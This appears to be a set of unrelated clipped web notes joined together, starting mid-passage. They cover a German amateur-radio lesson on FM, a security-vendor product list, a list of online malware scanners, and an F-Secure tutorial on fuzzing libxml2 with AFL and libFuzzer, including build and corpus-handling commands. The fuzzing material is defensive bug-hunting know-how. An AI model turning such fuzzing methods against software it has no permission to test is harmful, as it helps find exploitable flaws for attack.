Hochfrequenz nur geringfügig. Der Hub ist gering. Ein lauter Ton \(große NF-
Amplitude\) bewirkt dagegen eine starke Frequenzänderung.

Bei FM bezeichnet man den größten Frequenzabstand von der Trägermittenfrequenz
mit _Frequenzhub_ Δ _f_ \(Δ = delta\). Der Frequenzhub entspricht der
Amplitude des NF-Signals, also der NF-Lautstärke \(Bild 14-16\). Großer Hub –
große Lautstärke.

Im Amateurfunk wird als höchster Frequenzhub 3 kHz verwendet. Im UKW-Rundfunk
dagegen verwendet man einen Frequenzhub von 75 kHz. Wegen des geringen
Frequenzhubs beim Amateurfunk bezeichnet man diese Art der Frequenzmodulation
auch als NBFM \(narrow band FM, Schmalband-FM\).

Prüfungsfrage:

> **TE201** Wodurch wird bei Frequenzmodulation die Lautstärke-Information
> übertragen? Durch die ...  
> ---  
> | Größe der der Amplitude des HF-Signals.  
> | Geschwindigkeit der Trägerauslenkung.  
> | Änderung der Geschwindigkeit des Frequenzhubes.  
> | Größe der Trägerauslenkung von der Mittenfrequenz.  
**Kommentare:** A ist falsch. Das wäre AM. B ist falsch, weil es nicht die
Geschwindigkeit sondern die Amplitude ist. Bei C ist die "Geschwindigkeit"
falsch. D ist richtig, denn die Größe der Trägerauslenkung ist der Hub und
dieser entspricht der Lautstärke.

Prüfungsfrage:

> **TD502** Welche Aussage zum Frequenzmodulator ist richtig? Durch das
> Informationssignal ...  
> ---  
> | wird die Amplitude des Trägers beeinflusst. Die Frequenz bleibt konstant.  
> | werden die Frequenz und die Amplitude des Trägers beeinflusst.  
> | findet keinerlei Beeinflussung von Trägerfrequenz oder Trägeramplitude statt. Die Information steuert nur die Kapazität des Oszillators.  
> | wird die Frequenz des Trägers beeinflusst. Die Amplitude bleibt konstant.  
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Bandbreite bei FM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Bei jeder Modulation - auch bei FM - erscheinen neben den eigentlichen
Trägerfrequenzen und den durch den Hub bedingten Frequenzänderungen noch die
_Seitenfrequenzen_ aus Träger plus NF und Träger minus NF. Wenn man, wie im
Amateurfunk üblich, einen relativ geringen Hub verwendet, der nicht größer
ist, als die höchste vorkommende Niederfrequenz, kann man die Bandbreite
folgendermaßen berechnen.

> bFM = 2 \(Δf + fNF max\)
> **Beispiel  
>  **Wie groß ist nach obiger Formel die Bandbreite eines FM-
> Amateurfunksenders? Im Amateurfunk wird als Hub 3 kHz verwendet und auch die
> höchste Niederfrequenz soll 3 kHz nicht überschreiten.
> bFM = 2 \(3 kHz + 3 kHz\) = 12 kHz
Amateurfunkstationen, bei denen eine zu hohe NF-Lautstärke am Modulator
eingestellt ist oder die einen höheren Frequenzbereich als bis 3 kHz
übertragen, haben eine größere Bandbreite. Dies äußert sich häufig in
Verzerrungen auf der Empfängerseite oder in Störungen in Nachbarkanal-
Fre­quenzbereichen.

Deshalb muss auch bei FM die NF-Bandbreite vor der Modulationsstufe mit einem
Bandpassfilter auf zirka 3 kHz begrenzt werden, damit die HF-Bandbreite nicht
zu groß wird.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Vorteil von FM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1845.jpg' width='588' height='313' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-22: FM-Signal mit Störungen
Funkenstörungen, die von elektrostatischen Einflüssen herrühren \(Gewitter,
Zündfunken\), wirken sich als eine Amplitudenänderung auf dem
Hochfrequenzsignal aus \(Bild 14-22\). Bei Amplitudenmodulation würden sich
diese Störungen als Knacken bei Empfang auswirken.

Weil aber bei FM die Information nicht in der Amplitude steckt, begrenzt man
das HF-Signal bei Empfang \(Bild 14-23\). Es wird sowieso nur die
Frequenzänderung ausgewertet und diese verändert sich durch die Störung nicht.
Also kann man diese Impulse nicht mehr hören. Dies ist der Hauptvorteil von FM
gegenüber AM oder SSB.

> <img src='img/Temp2_1865.jpg' width='570' height='161' />
> #### Bild 14-23: Begrenzung bei FM
Prüfungsfrage:

> **TE102 **Welches der nachfolgenden Modulationsverfahren hat die geringste
> Störanfälligkeit bei Funkanlagen in Kraftfahrzeugen?  
> ---  
> | SSB  
> | DSB   
> | AM  
> | FM   
Hinweis: Bei Kraftfahrzeugen mit Verbrennungsmotoren entstehen durch den
Zündfunken Impulsstörungen, die bei FM durch Begrenzung beseitigt werden
können. Für SSB ist ein aufwändiges Störunterdrückungsverfahren nötig \(noise
blanker\), das im Amateurfunklehrgang für die Klasse A genauer beschrieben
wird.

Prüfungsfrage:

> **TE202 **FM hat gegenüber SSB den _Vorteil_ der  
> ---  
> | geringen Anforderungen an die Bandbreite.  
> | größeren Entfernungsüberbrückung.  
> | geringeren Beeinflussung durch Störquellen.  
> | besseren Kreisgüte.  
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Nachteile von FM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Der Hauptnachteil von FM ist die notwendige Bandbreite. Bei gleicher höchster
Modulationsfrequenz von zirka 3 kHz beträgt die Bandbreite bei SSB etwa 3 kHz
und bei FM zirka 12 kHz. Man könnte also im gleichen Frequenzbereich bei SSB
viermal so viele Funkstrecken realisieren wie bei FM. Deshalb wird FM
bevorzugt im sehr breiten VHF-, UHF oder SHF-Bereich angewendet. Auch im
10-m-Band wird FM gemacht.

Ein weiterer Nachteil von FM gegenüber SSB ist, dass man nur die stärkste
Station hören kann. Eine Mobilstation mit einem schwachen Signal kann sich
deshalb schlecht bemerkbar machen, wenn bei einem Funkgespräch zwischen zwei
Feststationen keine Umschaltpause gelassen wird.

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Hinweis  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Dieser Online-Lehrgang wurde mit freundlicher Genehmigung des Autors aus der
Korrekturversion seines Buches für das Internet umgewandelt. Bei dieser
Konvertierung haben die Zeichnungen etwas gelitten. Probleme gab es auch mit
den Formeln. Im Originalbuch finden Sie natürlich alles in bester Qualität.
Für diesen Preis lohnt sich der Ausdruck hier aus dem Internet nicht, denn es
entstehen zirka 800 Druckseiten.

<img src='img/Temp2_1870.jpg' width='101' height='141' />|  |  Eckart K. W. Moltrecht, DJ4UF  
**Amateurfunklehrgang für das Amateurfunkzeugnis Klasse E**  
**TECHNIK** \(Novice Licence\)Verlag für Technik und Handwerk, Postfach 2274,
76492 Baden-Baden, 7. Auflage 2009, 240 Seiten, mehr als 300 Abbildungen  
ISBN 978-3-88180-364-9 _14,80_ €  ** online bestellen**  
---|---|---  
<img src='img/Temp2_1853.jpg' width='100' height='142' />|  |  Sie benötigen zur Prüfungsvorbereitung auch das Buch**Amateurfunklehrgang Betriebstechnik und Vorschriften  
für das Amateurfunkzeugnis** \(für beide Klassen\)  Verlag für Technik und
Handwerk, Postfach 2274, 76492 Baden-Baden, 3. Auflage 2008, 148 Seiten  
ISBN 978-3-88180-803-3 _11,00_ € **online bestellen**  
_Dieser Lehrgang basiert auf dem Prüfungsfragenkatalog der BNetzA von 2006 für
eine Novice Licence. Alle darin vorkommenden Themen wie Grundlagen der
Elektrotechnik, Elektronik sowie Sender- und Empfängertechnik,
Übertragungstechnik, Antennentechnik und Messtechnik aus dem Gebiet
"Technische Kenntnisse" werden ausführlich erläutert. Die Erfahrung mit
praktischen Lehrgängen wird genutzt, um den Prüfling in die Lage zu versetzen,
jede Frage aus dem Fragenkatalog richtig zu beantworten. Dieses Buch ist auch
sehr gut für das Selbststudium geeignet._

_In eigener Sache:_

  
**Urlaub mit Hund oder Funk** \(Antenne hängt\): Wir vermieten unser
**Ferienhaus am See** in Röbel/Müritz \(Mecklenburgische Seenplatte\) für 2
Personen \(eine Ferienwohnung\) oder für 6, 7 oder 8 Personen \(ganzes Haus\).
Mehr dazu auf der Ferienhaus-Homepage **www.ferienhaus-roebel-mueritz.de.  **

<img src='img/Temp2_1848.jpg' width='750' height='2' />

Letztes Update: 30.11.2008 \(by DJ4UF\)

# Security Tool Vendors

**Created:**| _11/24/2009 1:30:50 PM_  
---|---  
**Updated:**| _11/24/2009 1:31:08 PM_  
**Author:**| __  
**Tags:**| __  
  

<img src='img/Temp2_7364.gif' width='120' height='70' />

<img src='img/Temp2_7360.gif' width='16' height='16' /> Contact  
  
  

PRODUCTS | 
Net Tool Optimizer Network Emulator

Ethernet

Anue Network Profiler

Fibre Channel SONET/SDH

Services

SOLUTIONS | 
Network Testing

Network Equipment Manufacturing Government Service Provider Testing Storage
Equipment Testing Enterprise

Data Center Moves Storage Disaster Recovery Pre-Deployment Testing

Monitoring Optimization

Data Center Monitoring Security Monitoring 10G Network Monitoring
Troubleshooting SPAN/TAP Sharing Service Providers Government

RESOURCES | 
Network Testing

Application Notes Solution Briefs White Papers Case Studies Webcasts Product
Briefs

Network Monitoring Optimization

Eye on Security

The Network View Blog

ORDERING |  CUSTOMERS | 
Enterprise Government & Education Network Equipment Manufacturers Systems
Integrator Storage Equipment Manufacturers Service Providers

ABOUT

Company Executive Team News Jobs Partners Contact Support

<img src='img/Temp2_7362.gif' width='836' height='111' alt='Eye on Security'
/>

EoS HOME | WEBINARS | GLOSSARY | TOOLS OVERVIEW |TOOL VENDORS 
### TOOLS

<img src='img/Temp2_7365.gif' width='12' height='8' />IDS/IPS

<img src='img/Temp2_7365.gif' width='12' height='8' />SIM/SEM/SIEM

<img src='img/Temp2_7365.gif' width='12' height='8' />UTM

<img src='img/Temp2_7365.gif' width='12' height='8' />Data Recorder/Data
Logger

<img src='img/Temp2_7365.gif' width='12' height='8' />NBAD

### featured Webinar

Building the Security Infrastructure  
Presented by Erin Jacobs, CSO,

United Collection Bureau, Inc.  

**November 11, 2009, 3:00 PM CST**

  

<img src='img/Temp2_7363.gif' width='139' height='31' alt='Register now!' />

### resources

<img src='img/Temp2_7361.gif' width='60' height='95' alt='Tolly Certified' />

Anue 5204 Certified by the Tolly Group.

GET THE REPORT »

  

  

# Security Tool Vendors

On the Security Tools Overview page, we highlighted and defined the most
common and important types of tools, inclusive of inline and out-of-band
products. Anue Monitoring Optimization products are used with out-of-band
products only, so the list below includes tools that can be used with the Net
Tool Optimizer product family. For tools that are intended to be used inline
but are often used out-of-band \(e.g. IPS\), we have included the most
reputable brands of those products as well.

## IDS/IPS

### IBM-ISS

Proventia Network Intrusion Prevention System \(IPS\)|

### Cisco Systems

Cisco IPS 4200 Series Sensors  
---|---  
### Juniper Networks

Juniper Networks IDP Series Intrusion Detection and Prevention Appliances|

### TippingPoint

TippingPoint Intrusion Prevention Systems  
### McAfee

McAfee Network Security Manager|

### Checkpoint

IPS-1  
### Enterasys

Dragon Intrusion Protection|

### Radware

Intrusion Prevention Systems  
### SourceFire

Sourcefire IPS|

### StillSecure

Strata Guard® high-speed intrusion detection/prevention system \(IDS/IPS\)  
### Stonesoft Corporation

StoneGate Intrusion Prevention System|

### Lancope

StealthWatch Internal IDS/IPS  
### Intrusion, Inc.

SecureNet IDS/IPS|

### Deep Nines

DeepNines’ Security Edge System \(SES\)  
### CounterSnipe Technologies LLC

Active Protection Device \(APD\), APD1000 & APD4000|

### Top Layer

Top Layer IPS Appliance  
### NitroSecurity

NitroGuard IPS|

### CA

CA Host-Based Intrusion Prevention System  
## **NBA/NBAD/Vulnerability Tools**

### Arbor Networks

Arbor Peakflow X|

### Riverbed Technology

Riverbed Cascade \(formerly Mazu\)  
---|---  
### DeepNines

DeepNines Edge Security Profiler \(ESP\)|

### Lancope

StealthWatch Network Behavior Analysis  
### SourceFire

Sourcefire RNA \(Real-time Network Awareness\)|

### McAfee

McAfee Network User Behavior Analysis \(Securify\)  
### IBM-ISS

Proventia Network Enterprise Scanner|  
## **SIM/SEM/SIEM**

###  CA

CA Enterprise Log Manager|

### NitroSecurity

NitroView Enterprise Security Manager \(ESM\)  
---|---  
### LogLogic

LogLogic Security Event Manager|

### LogRhythm

LogRhythm  
### SenSage

SenSage SIEM|

### TriGeo Network Security, Inc.

TriGeo Security Information Management \(SIM\)  
### Lancope

StealthWatch Security Event Management|

### Enterasys

Dragon Security Command Console  
### RSA \(division of EMC\)

RSA enVision|  
## **UTM**

### Arbor Networks

Arbor Peakflow SP Threat Management System \(TMS\)|

### CA

CA Threat Manager for the Enterprise  
---|---  
### Fortinet

FORTIGATE® APPLIANCES|

### SonicWALL

SonicWALL Unified Threat Management \(UTM\) solutions  
---|---  
### Palo Alto Networks

Next Generation Firewall|

### DeepNines

DeepNines Security Edge Platform \(SEP\)  
### Checkpoint

Check Point UTM-1 Appliances|

### McAfee

McAfee Unified Threat Management \(UTM\) Firewall \(Formerly SnapGear\)  
### TippingPoint

TippingPoint ThreatLinQ|

### Cisco Systems

Cisco ASA 5500 Series Adaptive Security Appliances  
### IBM-ISS

Proventia Network Multi-Function Security \(MFS\)|

### Niksun

NIKSUN NetDetector®  
## **Data/Forensic Recorders**

### Niksun

NIKSUN NetVCR®|

### Network Instruments

GigaStor  
---|---  
### AccessData Corporation

Forensic Toolkit® \(FTK®\)|

### Sandstorm Enterprises, Inc.

NetIntercept 4.1  
### WildPackets

Omnipliance Network Recorder|

### Netscout

nGenius® InfiniStream® Deep Packet Capture Appliances  
  

* * *
© 2002-2009 Anue Systems, Inc. Site Map | Privacy | Contact

# Untitled Clipped Note

**Created:**| _7/22/2009 1:29:19 PM_  
---|---  
**Updated:**| _7/22/2009 1:29:40 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# List of Online Malware Scanners

by BLACK on JULY 21, 2009

in MISCELLANEOUS

We had a list of online scanners for our own use. We thought of sharing those
with you all. Please be advised that this list has not been arranged according
to any order. We hav added them as per our convenience.

1. **Virustotal**  
 _Virustotal is a service that analyzes suspicious files and facilitates the
quick detection of viruses, worms, trojans, and all kinds of malware detected
by antivirus engines._  
2. **AdopsTools**  
 _This tool is provided for you to scan your flash creative and gives you a
complete and exhaustive report about its content such as version, dimensions,
weight, list of getURL and actionscripts, detect security hole and malware
presence._  
3. **VirScan**  
 _VirSCAN.org is a FREE on-line scan service, which checks uploaded files for
malware, usingantivirus engines, indicated in the VirSCAN list. On uploading
files you want to be checked, you can see the result of scanning and how
dangerous and harmful/harmless for your computer those files are._  
4. **Jotti Virus Scan**  
 _Jotti’s malware scan is a free online service that enables you to scan
suspicious files with several anti-virus programs. Scanners used are Linux
versions; detection differences withWindows versions of the same scanners may
occur due to implementation differences. There is a 15MB limit per file. Keep
in mind that no security solution offers 100% protection, not even when it
uses several anti-virus engines \(for example, this scan service\).  
Files uploaded here are shared with anti-virus companies so detection accuracy
of their anti-virus products can be improved. Read more about this in our
privacy policy. If you do not want your files to be distributed, please do not
send them at all._  
5. **Rogue File Scanner**  
 _This service scans uploaded files with several common Anti-Virus tools to
attempt to determine if the uploaded file is in fact some form of Malware.  
The results of service is by no means a 100% proof positive that a file is in
fact some form of Malware. Likewise if this service says a file is clean, it
does not again provide a 100% proof positive that a file is not Malware. It
could be that the file you have uploaded is in fact a virus that currently is
undetected by the virus scanners that we use to provide the service._  
6. **VirusChief**  
 _VirusChief offers a free service for online virus scan suspicious files
\(which \*could\* contain a computer virus\) using several antivirus online
virus scan engines._  
7. **FilterBit**  
 _Filterbit™ is a free service where you can upload files for scanning,
analysis and identification by multiple antivirus engines. Filterbit
facilitates rapid detection of viruses, trojans, worms and other malware that
may be contained within your uploaded files._  
8. **Allthreats**  
 _This service can analyze binaries with several AV engines \(like other well-
known online services\) nevertheless it adds a new functionality: Remote File
Analyzer \(URL Analyzer\).  
You don’t have to download the binary, we download it for you._

  

  *[JULY 21, 2009]: 2009-07-21

# Reverse Engineering Methodology

**Created:**| _5/20/2010 5:27:26 AM_  
---|---  
**Updated:**| _5/20/2010 5:28:01 AM_  
**Author:**| __  
**Tags:**| _research papers reversing conference-material Tutorials howto_  
  
<img src='img/Temp2_6951' />

# Super Awesome Fuzzing, Part One

**Created:**| _6/29/2017 4:05:29 PM_  
---|---  
**Updated:**| _6/29/2017 4:05:29 PM_  
**Author:**| __  
**Tags:**| __  
  

  

### Super Awesome Fuzzing, Part One

## An informative guide on using AFL and libFuzzer.

Posted on behalf of Atte Kettunen \(Software Security Expert\) & Eero Kurimo
\(Lead Software Engineer\) – Security Research and Technologies.

* * *
The point of security software is to make a system more secure. When
developing software, one definitely doesn’t want to introduce new points of
failure, or to increase the attack surface of the system the software is
running on. So naturally, we take secure coding practices and software quality
seriously. One good example of how we strive to improve software quality and
security at F-Secure is our Vulnerability Reward Program that’s been running
for almost two years now. And it’s still running, so do participate if you
have a chance\! Earlier this year, we posted an article detailing what we
learned during the first year. It goes without saying that we have many
processes in-house to catch potential bugs and vulnerabilities in our
software. In this article, we’d like to explain one of the many processes we
use in-house to find vulnerabilities before they reach our customers, and our
dear bug bounty hunters.

One method for bug hunting that has proven to be very effective is a technique
called fuzzing, where the target program is injected with unexpected or
malformed data, in order to reveal input handling errors leading to, for
example, an exploitable memory corruption. To create fuzz test cases, a
typical fuzzer will either mutate existing sample inputs, or generate test
cases based on a defined grammar or ruleset. An even more effective way of
fuzzing is coverage guided fuzzing, where program execution paths are used to
guide the generation of more effective input data for test cases. Coverage
guided fuzzing tries to maximize the code coverage of a program, such that
every code branch present in the program is tested. With the emergence of
\[Google’s\!\!\] open source coverage guided fuzzing tools such as American
Fuzzy Lop \(AFL\), LLVM libFuzzer, and HonggFuzz, using coverage guided
fuzzing has never been easier or more approachable. You no longer need to
master arcane arts, spend countless hours writing test case generator rules,
or collecting input samples that cover all functionality of the target. In the
simplest cases you can just compile your existing tool with a different
compiler, or isolate the functionality you want to fuzz, write just a few
lines of code, and then compile and run the fuzzer. The fuzzer will execute
thousands or even tens of thousands of test cases per second, and collect a
set of interesting results from triggered behaviors in the target.

If you’d want to get started with coverage guided fuzzing yourself, here’s a
couple of examples showing how you’d fuzz libxml2, a widely used XML parsing
and toolkit library, with two fuzzers we prefer in-house: AFL and LLVM
libFuzzer.

## Fuzzing with AFL

Using AFL for a real world example is straightforward. On Ubuntu 16.04 Linux
you can get fuzzing libxml2 via its xmllint utility with AFL with just seven
commands.

First we install AFL and get the source code of libxml2-utils.

[code]       1. $ apt-get install -y afl

      2. $ apt-get source libxml2-utils
    
    
[/code]

Next we configure libxml2 build to use AFL compilers and compile the xmllint
utility.

[code]       1. $ cd libxml2/

      2. $ ./configure CC=afl-gcc CXX=afl-g++
      3. $ make xmllint
    
    
[/code]

Lastly we create a sample file with content “<a></a>” for AFL to start with
and run the afl-fuzz.

[code]       1. $ echo "" > in/sample

      2. $ LD_LIBRARY_PATH=./.libs/ afl-fuzz -i ./in -o ./out -- ./.libs/lt-xmllint -o /dev/null @@
    
    
[/code]

<img src='img/afl-libxml.gif' width='650' height='398' />

AFL will continue fuzzing indefinitely, writing inputs that trigger new code
coverage in ./out/queue/, crash triggering inputs in ./out/crashes/ and inputs
causing hangs in /out/hangs/. For more information on how to interpret the
AFL’s status screen, see: http://lcamtuf.coredump.cx/afl/status\_screen.txt

## Fuzzing with LLVM libFuzzer

Let’s now fuzz libxml2 with the LLVM libFuzzer. To start fuzzing, you’ll first
need to introduce a target function, LLVMFuzzerTestOneInput, that receives the
fuzzed input buffer from libFuzzer. The code looks like this.

[code]       1. extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data,
size_t Size) {

      2.  DoSomethingInterestingWithMyAPI(Data, Size);
      3.  return 0; // Non-zero return values are reserved for future use.
      4.  }
    
    
[/code]

For fuzzing libxml2, Google’s fuzzer test suite provides a good example
fuzzing function.

[code]       1. // Copyright 2016 Google Inc. All Rights Reserved.

      2.  // Licensed under the Apache License, Version 2.0 (the "License");
      3.  #include 
      4.  #include 
      5.  #include "libxml/xmlversion.h"
      6.  #include "libxml/parser.h"
      7.  #include "libxml/HTMLparser.h"
      8.  #include "libxml/tree.h"
      9.  
      10. void ignore (void * ctx, const char * msg, ...) {}
      11.  
      12. extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
      13.  xmlSetGenericErrorFunc(NULL, &ignore);
      14.  if (auto doc = xmlReadMemory(reinterpret_cast(data), size, "noname.xml", NULL, 0))
      15.  xmlFreeDoc(doc);
      16.  return 0;
      17.  }
    
    
[/code]

Before compiling our target function, we need to compile all dependencies with
clang and **-fsanitize-coverage=trace-pc-guard** , to enable SanitizerCoverage
coverage tracing. It is a good idea to also use
**-fsanitize=address,undefined** in order to enable both the
AddressSanitizer\(ASAN\) and the UndefinedBehaviorSanitizer\(UBSAN\) that
catch many bugs that otherwise might be hard to find.

[code]       1.  $ git clone https://github.com/GNOME/libxml2 libxml2

      2.  $ cd libxml2
      3.  $ FUZZ_CXXFLAGS="-O2 -fno-omit-frame-pointer -g -fsanitize=address,undefined -fsanitize-coverage=trace-pc-guard"
      4.  $ ./autogen.sh
      5.  $ CXX="clang++-5.0 $FUZZ_CXXFLAGS" CC="clang-5.0 $FUZZ_CXXFLAGS" CCLD="clang++-5.0 $FUZZ_CXXFLAGS" ./configure
      6.  $ make
    
    
[/code]

As of writing this post, libFuzzer is not shipped with precompiled clang-5.0
packages of http://apt.llvm.org/, so you’ll still need to checkout and compile
libFuzzer.a yourself as documented in
http://llvm.org/docs/LibFuzzer.html\#getting-started, but this might change in
the near future.

The second step is to compile our target function, with the same flags, and
link it with both the libFuzzer runtime and the libxml2 we compiled earlier.

[code]       1. $ clang++-5.0 -std=c++11 $FUZZ_CXXFLAGS -lFuzzer ./libxml-
test.cc -I ./include ./.libs/libxml2.a -lz -llzma -o libxml-fuzzer

    
    
[/code]

Now we are ready to run our fuzzer.

[code]       1. $ mkdir ./output

      2. $ ./libxml-fuzzer ./output/
    
    
[/code]

<img src='img/libfuzzer-run.gif' width='1024' height='471' />

We didn’t use any sample inputs, so libFuzzer starts by generating random data
in order to find inputs that trigger new code paths in our libxml2 target
function. All inputs that trigger new coverage are stored as sample files in
./output. As libFuzzer runs in-process, if a bug is found, it saves the test
case and exits. On a high-end laptop, a single instance of libFuzzer reached
over 5000 executions per second, slowing down to around 2000 once it started
to generate test cases with more coverage. For more information on how to
interpret the output see: http://llvm.org/docs/LibFuzzer.html\#output

## Creating a corpus

If your target is fast, meaning hundreds or even thousands of executions per
second, you can try generating a base corpus out of thin air. With coverage
guided fuzzing it is possible to do this even with more complex formats like
the AFL author Michał Zalewski did with JPEG-files, but to save time, you
should get a good representation of typical files for the application that are
as small as possible. The smaller the files, the faster they are to fuzz.

AFL does not give any additional flags to tinker with when generating corpus
out of thin air. Just give it a small sample input, for example “<a></a>” as
an XML sample, and run AFL like you normally would.

With libFuzzer you have more flags to experiment with. For example, for XML
you might want to try with ‘ _-only\_ascii=1_ ‘. One good technique for most
formats is to execute multiple short runs while incrementing the maximum
sample size of our fuzzer on each round and then merge all the results to form
the output corpus.

[code]       1. $ for foo in 4 8 16 32 64 128 256 512; do \

      2. ./libxml-fuzzer -max_len=$foo -runs=500000 ./temp-corpus-dir; \
      3. done
      4. $ ./libxml-fuzzer -merge=1 ./corpus ./temp-corpus-dir
    
    
[/code]

With this approach, we first collect interesting inputs with maximum length of
4 bytes, the second run analyses the 4 byte inputs and uses those as a base
for 8 byte inputs and so on. This way we discover “easy” coverage with faster
smaller inputs and when we move to larger files we have a better initial set
to start with.

To get some numbers for this technique, we did three runs with the example
script.

<img src='img/libfuzzer-trim-script.png' width='1024' height='149' />

On average, running the corpus generation script took about 18 minutes on our
laptop. LibFuzzer was still frequently discovering new coverage at the end of
iterations where _-max\_len_ was larger than 8 bytes, which suggests that, for
those lengths, libFuzzer should be allowed to run longer.

For comparison, we also took the libFuzzer with default settings and ran it
for three rounds, which took about 18 minutes.

[code]       1. $ ./libxml-fuzzer -max_total_time=1080 ./temp-corpus-dir

      2. $ ./libxml-fuzzer -merge=1 ./corpus ./temp-corpus-dir;
    
    
[/code]

<img src='img/libfuzzer-defaults.png' width='1024' height='156' />

From these results we see that our runs with the corpus generation script on
average executed more test cases, generated a larger set of files, that
triggers more coverage and features than the set generated with the default
values. This is due to the size of test cases generated by libFuzzer using
default settings. Previously libFuzzer used default _-max\_len_ of 64 bytes,
but at the time of writing libFuzzer was just updated to have a default
_-max\_len_ of 4096 bytes. In practice sample sets generated by this script
have been very working starting points for fuzzing, but no data has been
collected how the effects differ in comparison to default setting in long
continuous fuzzing.

Corpus generation out of thin air is an impressive feat, but if we compare
these results to the coverage from W3C XML test suite we see that it is a good
idea to also to include sample files from different sources to your initial
corpus, as you’ll get much better coverage before you’ve even fuzzed the
target.

[code]       1. $ wget https://www.w3.org/XML/Test/xmlts20130923.tar.gz -O - | tar -xz
      2. $ ./libxml-fuzzer -merge=1 ./samples ./xmlconf
      3. $ ./libxml-fuzzer -runs=0 ./samples
      4.   #950        DONE   cov: 18067 ft: 74369 corp: 934/2283Kb exec/s: 950 rss: 215Mb
    
    
[/code]

Merging our generated corpus into the W3C test suite increased the block
coverage to 18727, so not that much, but we still got a total of 83972
features, increasing the total throughput of these test cases. Both
improvements are most probably due to small samples triggering error
conditions that were not covered by the W3C test suite.

## Trimming your corpus

After fuzzing the target for a while, you’ll end up with a huge set of fuzzed
files. A lot of these files are unnecessary, and trimming them to a much
smaller set will provide you with the same code coverage of the target. To
achieve this, both projects provide corpus minimization tools.

AFL gives you the _afl-cmin_ shell script that you can use to minimize your
corpus. For the previous example, to minimize the corpus generated in the
./out directory, you can generate a minimized set of files into the
./output\_corpus directory.

[code]       1. $ afl-cmin -i ./out/queue -o ./output_corpus -- ./.libs/lt-
xmllint -o /dev/null @@

    
    
[/code]

AFL also offers another tool _afl-tmin_ that can be used to minimize
individual files while maintaining the same coverage as observed initially. Be
aware that running _afl-tmin_ on a large set of files can take a very long
time, so first do couple of iterations with _afl-cmin_ before trying _afl-
tmin_.

LibFuzzer doesn’t have an external trimming tool – it has the corpus
minimization feature, called _merge_ , built-in.

[code]       1. $ ./libxml-fuzzer -merge=1 <output directory> <input directory
1> <input directory 2> ... <input directory n>

    
    
[/code]

LibFuzzer _merge_ is a little easier to use since it looks for files
recursively from any number of input directories. Another nice feature in
libFuzzer merge is the  _-max\_len_ flag. Using _-max\_len=X,_ libFuzzer will
only use the first X bytes from each sample file, so you can collect random
samples without caring about their sizes. Without the max\_len flag, libFuzzer
uses a default maximum length of 1048576 bytes when doing a merge.

With libFuzzer _merge_ , you can use the same technique as you did to generate
a corpus out of thin air.

[code]       1. $ for foo in 4 8 16 32 64 128 256 512 1024; do

      2. mkdir ./corpus_max_len-$foo;
      3. ./libxml-fuzzer -merge=1 -max_len=$foo ./corpus-max_len-$foo ./corpus-max_len-* <input-directories>;
      4. done
      5. $ mkdir output_corpus;
      6. $ ./libxml-fuzzer -merge=1 ./output_corpus ./corpus-max_len-*;
    
    
[/code]

With this trimming strategy libFuzzer will first collect new coverage
triggering 2 byte chunks from each input sample, then merge those samples to 4
byte chunks, and so on, until you have the optimized set out of all the
different length chunks.

A simple _merge_ won’t always help you with performance issues. Sometimes your
fuzzer can stumble upon very slow code paths, causing collected samples to
start decaying your fuzzing throughput. If you don’t mind sacrificing a few
code blocks for performance, libFuzzer can be easily used to remove too slow
samples from your corpus. When libFuzzer is run with a list of files as an
argument instead of a folder, it will execute every file individually and
print out execution time for each file.

[code]       1. $ ./libxml-fuzzer /*

      2. INFO: Seed: 3825257193
      3. INFO: Loaded 1 modules (237370 guards): [0x13b3460, 0x149b148), 
      4. ./libxml2/libxml-fuzzer: Running 1098 inputs 1 time(s) each.
      5. Running: ./corpus-dir/002ade626996b33f24cb808f9a948919799a45da
      6. Executed ./corpus-dir/002ade626996b33f24cb808f9a948919799a45da in 1 ms
      7. Running: ./corpus-dir/0068e3beeeaecd7917793a4de2251ffb978ef133
      8. Executed ./corpus-dir/0068e3beeeaecd7917793a4de2251ffb978ef133 in 0 ms
    
    
[/code]

With a snippet of awk, this feature can be used to print out names of files
that that took too long to run, in our example 100 milliseconds, and then we
can just remove those files.

[code]       1. $ ./libxml-fuzzer /* 2>&1 | awk  '$1 == "Executed" && $4 > 100 {print $2}' | xargs -r -I '{}' rm '{}'
    
    
[/code]

## Running both fuzzers in parallel

Now that you have a good base corpus, and you know how to maintain it, you can
kick off some continuous fuzzing runs. You could run your favorite fuzzer
alone, or run both fuzzers separately, but if you’ve got enough hardware
available you can also easily run multiple fuzzers simultaneously on the same
corpus. That way you get to combine best of both worlds while the fuzzers can
share all the new coverage they find.

It’s easy to implement a simple script that will run both fuzzers
simultaneously, while restarting the fuzzers every hour to refresh their
sample corpus.

[code]       1. $ mkdir libfuzzer-output; echo "" > .libfuzzer-output/1

      2. $ while true; do \
      3. afl-fuzz -d -i ./libfuzzer-output/ -o ./afl-output/ -- ./libxml/afl-output/bin/xmllint -o /dev/null @@ 1>/dev/null & \
      4. ./libxml/libxml-fuzzer -max_total_time=3600 ./libfuzzer-output/; \
      5. pkill -15 afl-fuzz; \
      6. sleep 1; \
      7. mkdir ./libfuzzer-merge; \
      8. ./libxml/libxml-fuzzer -merge=1 ./libfuzzer-merge ./libfuzzer-output/ ./afl-output/; \
      9. rm -rf ./afl-output ./libfuzzer-output; \
      10. mv ./libfuzzer-merge ./libfuzzer-output; \
      11. done
    
    
[/code]

Because the example script only runs one hour per iteration, AFL is used in
“quick & dirty mode” to skip all the deterministic steps. Even one large file
can cause AFL to spend hours, or even days, on deterministic steps, so it it’s
more reliable to run AFL without them when running on time budget.
Deterministic steps can be run manually, or automatically on another instance
that copies new samples to ‘ _./libfuzzer\_output_ ‘.

## Dictionaries

